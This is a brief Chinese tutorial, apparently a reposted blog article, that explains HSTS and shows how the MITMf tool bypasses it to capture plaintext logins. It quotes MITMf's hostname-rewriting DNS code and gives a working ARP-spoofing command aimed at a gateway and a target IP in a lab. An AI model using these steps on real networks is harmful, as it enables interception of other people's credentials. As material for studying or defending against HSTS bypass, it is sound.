使用mitmf 來繞過HSTS站點抓取登錄明文

使用mitmf 來繞過HSTS站點抓取登錄明文

HSTS簡介

HSTS是HTTP Strict Transport Security的縮寫,即:"HTTP嚴格安全傳輸"。當瀏覽器第一次訪問一個HSTS站點,會跳轉到https頁面,並種植hsts,下次再訪問此站時,只要HSTS 還在有效期中,瀏覽器就會響應一個 HTTP 307 頭,在不通過網絡請求直接本地強制http跳轉到https。這樣能夠有效防止基於SSLStrip的中間人攻擊,對於僞造的證書,會顯示錯誤,而且不容許用戶忽略警告。 一個hsts 站點響應的例子:html

➜  lab  curl  -I   www.taobao.com
HTTP/1.1 302 Found
Server: Tengine
Date: Tue, 12 Apr 2016 06:18:30 GMT
Content-Type: text/html
Content-Length: 258
Connection: keep-alive
Location: https://www.taobao.com/
Set-Cookie: thw=cn; Path=/; Domain=.taobao.com; Expires=Wed, 12-Apr-17 06:18:30 GMT;
Strict-Transport-Security: max-age=31536000

bypass

mitmf 原理

用戶首次訪問某網站是不受HSTS保護的。這是由於首次訪問時,瀏覽器還未收到HSTS,此時能夠劫持站點繞過hsts 。 mitmf 就是利用這個缺陷繞過,當用戶首次訪問時,經過dns2proxy 僞造出一個具體迷惑性的http站點,例如 訪問 www.taobao.com 跳轉到 wwww.taobao.com 或者 訪問login.taobao.com 跳轉到 weblogin.taobao.com 。 具體代碼 https://github.com/byt3bl33d3r/MITMf/blob/master/core/servers/DNS.pypython

if hsts:
     if qname in hstsconfig:
         response = self.hstsbypass(hstsconfig[qname], qname, nameservers, d)
         return response

     elif qname[:4] == 'wwww':
         response = self.hstsbypass(qname[1:], qname, nameservers, d)
         return response

     elif qname[:3] == 'web':
         response = self.hstsbypass(qname[3:], qname, nameservers, d)
         return response

演示

kali執行git

apt-get install  mitmf
mitmf -i eth0 --spoof --arp   --hsts --gateway   10.211.55.1  --targets   10.211.55.4

ubuntu 打開 www.xxxx.comgithub

輸入圖片說明

參考

MITMf https://github.com/byt3bl33d3r/MITMfweb

相關文章
相關標籤/搜索